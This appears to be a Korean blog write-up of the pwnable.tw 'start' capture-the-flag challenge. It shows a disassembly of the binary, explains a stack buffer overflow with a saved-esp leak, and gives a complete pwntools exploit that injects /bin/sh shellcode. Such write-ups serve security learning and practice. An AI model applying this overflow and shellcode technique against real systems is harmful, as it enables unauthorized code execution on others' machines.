컴팩트한 32bit 바이너리가 주어진다.
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o .text:08048060 push esp .text:08048061 push offset _exit .text:08048066 xor eax, eax .text:08048068 xor ebx, ebx .text:0804806A xor ecx, ecx .text:0804806C xor edx, edx .text:0804806E push ':FTC' .text:08048073 push ' eht' .text:08048078 push ' tra' .text:0804807D push 'ts s' .text:08048082 push 2774654Ch .text:08048087 mov ecx, esp ; addr .text:08048089 mov dl, 14h ; len .text:0804808B mov bl, 1 ; fd .text:0804808D mov al, 4 .text:0804808F int 80h ; LINUX - sys_write .text:08048091 xor ebx, ebx .text:08048093 mov dl, 3Ch .text:08048095 mov al, 3 .text:08048097 int 80h ; LINUX - .text:08048099 add esp, 14h .text:0804809C retn .text:0804809C _start endp ; sp-analysis failed |
32bit syscall을 쓴다. C로 아래처럼 나타낼 수 있다.
void __cdecl start()
{ char buf[20]; // [esp-0h] strcpy(buf, "Let's start the CTF:"); sys_write(1, buf, 0x14); sys_read(0, buf, 0x3C); } |
esp+0x14 에 _exit
주소가 들어가는데, read syscall에서 0x3C 크기만큼 입력을 받기 때문에 이 값을 덮어씌울 수 있다.
_start
의 첫 부분에서 esp를 스택에 올린다. ret를 지나면 esp는 saved esp를 가리키고, write 루틴으로 이동해서 이 값을 출력시킬 수 있다. saved esp 값을 알아낸 뒤 shellcode를 쓰고 해당 주소로 점프하면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def exploit() : shellcode = ''' lea ebx, [esp-0x30] xor ecx, ecx xor edx, edx mov al, 0xB int 0x80 ''' payload = b'/bin/sh' payload = payload.ljust(0x14, b'\x00') payload += p32(0x8048087) p.writeafter(b'CTF:', payload) saved_esp = u32(p.read()[:4]) log_info('saved esp = '+hex(saved_esp)) payload = asm(shellcode) payload = payload.ljust(0x14, b'\x00') payload += p32(saved_esp-4) p.write(payload) p.interactive() if __name__ == '__main__' : context.arch = 'i386' parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('chall.pwnable.tw', 10000, fam='ipv4') else : p = process('./start') exploit() |
Last update: 10/21/2020
'Wargame > pwnable.tw' 카테고리의 다른 글
pwnable.tw / orw (0) | 2020.05.31 |
---|